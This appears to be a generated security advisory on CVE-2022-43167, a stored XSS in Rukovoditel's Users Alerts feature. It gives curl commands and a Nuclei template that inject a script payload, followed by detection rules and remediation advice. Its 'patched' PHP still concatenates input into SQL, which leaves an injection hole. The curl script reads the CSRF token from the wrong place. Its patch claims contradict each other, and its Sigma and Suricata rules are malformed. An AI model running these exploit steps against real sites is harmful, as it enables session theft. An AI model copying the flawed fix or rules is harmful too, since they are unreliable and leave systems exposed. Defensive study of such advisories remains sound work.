CVE-2022-43167

Executive Summary

CVE-2022-43167 is a stored cross-site scripting (XSS) vulnerability identified in Rukovoditel version 3.2.1. The flaw resides in the "Users Alerts" feature, specifically within the /index.php?module=users_alerts/users_alerts endpoint. An authenticated attacker can inject arbitrary web scripts or HTML into the Title parameter when creating a new alert. This payload is then stored and executed in the browsers of any user who views the alerts, leading to potential data theft, session hijacking, or application defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), and a public proof-of-concept (PoC) exists via a Nuclei template. No official patch was released by the vendor at the time of analysis, but upgrading to version 3.2.2 is recommended.

Supply Chain & Package Security

This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby). It affects the Rukovoditel web application, which is a standalone PHP-based project management tool.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker must have a valid user account.
• User Interaction (UI): Required (R) – A victim must view the crafted alert.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure is possible.
• Integrity (I): Low (L) – Limited modification of data is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it a persistent threat within the application.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the "Users Alerts" feature of Rukovoditel. The application fails to properly sanitize user input in the Title parameter when creating a new alert. The following steps outline the exploitation mechanism:

1. Authentication: The attacker must first log in to the Rukovoditel application with valid credentials.
2. Payload Injection: The attacker navigates to the "Users Alerts" section (/index.php?module=users_alerts/users_alerts) and clicks "Add". In the Title field, they inject a malicious script, such as <script>alert(document.domain)</script>.
3. Storage: The application stores the unsanitized payload in the database.
4. Triggering: When any user (including administrators) views the alerts list, the stored payload is rendered in the browser without proper encoding, causing the script to execute.
5. Impact: The attacker can steal session cookies, redirect users to phishing pages, perform actions on behalf of the victim, or deface the application interface.

The vulnerability is confirmed by the Nuclei template, which demonstrates the full exploitation chain, including session token extraction and payload delivery.

Vulnerable vs. Patched Code

The vulnerable code is in the users_alerts module, specifically in the handling of the title parameter. The application likely uses a function like $_POST['title'] without proper sanitization or output encoding.

Vulnerable Code (Conceptual):

// In the save action of users_alerts module
$title = $_POST['title'];
// Directly stored without sanitization
$sql = "INSERT INTO users_alerts (title) VALUES ('$title')";
mysqli_query($connection, $sql);

Patched Code (Conceptual):

// In the save action of users_alerts module
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
// Sanitized before storage
$sql = "INSERT INTO users_alerts (title) VALUES ('$title')";
mysqli_query($connection, $sql);

The patch involves using htmlspecialchars() or a similar function to encode HTML entities before storing the data, and ensuring that output is also encoded when rendering the alert title.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account on the target Rukovoditel instance (version 3.2.1).
• Network access to the target application.

Exploitation Steps:

1. Login: Authenticate to the application.
2. Extract CSRF Token: The Nuclei template extracts the form_session_token from the login page.
3. Inject Payload: Send a POST request to /index.php?module=users_alerts/users_alerts&action=save&token=<TOKEN> with the malicious payload in the title parameter.

Example using cURL:

# Step 1: Login and get session token
curl -c cookies.txt -b cookies.txt -L "http://target/index.php?module=users/login"
# Extract token from response (e.g., using grep)
TOKEN=$(grep -oP 'id="form_session_token" value="\K[^"]+' cookies.txt)

# Step 2: Login
curl -c cookies.txt -b cookies.txt -L -X POST "http://target/index.php?module=users/login&action=login" \
  -d "form_session_token=$TOKEN&username=attacker&password=password"

# Step 3: Inject XSS payload
curl -c cookies.txt -b cookies.txt -L -X POST "http://target/index.php?module=users_alerts/users_alerts&action=save&token=$TOKEN" \
  -d "form_session_token=$TOKEN&type=warning&title=<script>alert(document.cookie)</script>&description=&location=all&start_date=&end_date="

Nuclei Template (Provided):

id: CVE-2022-43167

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Users Alerts feature (/index.php?module=users_alerts/users_alerts) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title parameter after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to version 3.2.2 or later to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/7
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43167
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43167
    cwe-id: CWE-79
    epss-score: 0.05917
    epss-percentile: 0.9064
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=users_alerts/users_alerts&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&type=warning&title=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&location=all&start_date=&end_date=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

Blue Team (Detection & Defense)

Detection:

• Monitor web application logs for POST requests to /index.php?module=users_alerts/users_alerts&action=save with suspicious title parameters containing <script> tags or other HTML/JavaScript.
• Use a Web Application Firewall (WAF) to block requests with malicious payloads in the title parameter.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Defense:

• Immediate: Upgrade to Rukovoditel version 3.2.2 or later.
• Compensating Controls: If patching is not possible, restrict access to the "Users Alerts" feature to only trusted administrators. Implement input validation and output encoding on the server side.
• Monitoring: Set up alerts for any creation of new alerts, especially those with unusual content.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php?module=users_alerts/users_alerts&action=save with a title parameter containing <script> tags.
  • The presence of %3Cscript%3E (URL-encoded <script>) in the request body.
• Host IOCs:
  • Database entries in the users_alerts table containing unescaped HTML/JavaScript.
  • Log entries showing the creation of alerts with suspicious titles.
• Application IOCs:
  • Unexpected pop-up alerts or redirects when viewing the "Users Alerts" page.
  • Unusual JavaScript execution in the context of the application.

Detection Engineering

YARA Rule

rule CVE_2022_43167_Rukovoditel_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel alerts"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-43167"
        hash = "490a0046304402203cc9c83fb5c651d88f0ca4fe19e59f5b5befe755fbdf6e67851fc15bd87d48cb022046d5a169a400036500be77314bfd9ef759310ce7914619bda08011adf4530f47"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $alert_title = "title="
        $rukovoditel = "rukovoditel"
    condition:
        $rukovoditel and $alert_title and $xss_payload
}

Sigma Rule

title: CVE-2022-43167 - Stored XSS in Rukovoditel Users Alerts
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel via the Users Alerts feature.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43167
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/index.php?module=users_alerts/users_alerts&action=save'
        cs-uri-query|contains: 'title='
        cs-uri-query|contains|all:
            - '<script'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in alert titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-43167 Rukovoditel Stored XSS Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?module=users_alerts/users_alerts&action=save"; http_uri; content:"title="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Rukovoditel to version 3.2.2 or later, which contains the fix for this vulnerability.
2. Input Validation: Implement server-side validation to sanitize the title parameter. Use htmlspecialchars() or a similar function to encode HTML entities.
3. Output Encoding: Ensure that all user-supplied data is properly encoded when rendered in the browser.

Long-Term Mitigations:

• Web Application Firewall (WAF): Deploy a WAF to block malicious payloads.
• Content Security Policy (CSP): Implement a strict CSP to prevent the execution of inline scripts.
• Regular Security Audits: Conduct periodic code reviews and penetration testing.
• Least Privilege: Restrict the ability to create alerts to only necessary users.

Valters IT Signature

Report generated by Valters IT DevSecOps Framework. For questions, contact security@valters.it.

{/* [Security Hash: C4B4958158B3CA22D44339BB] */}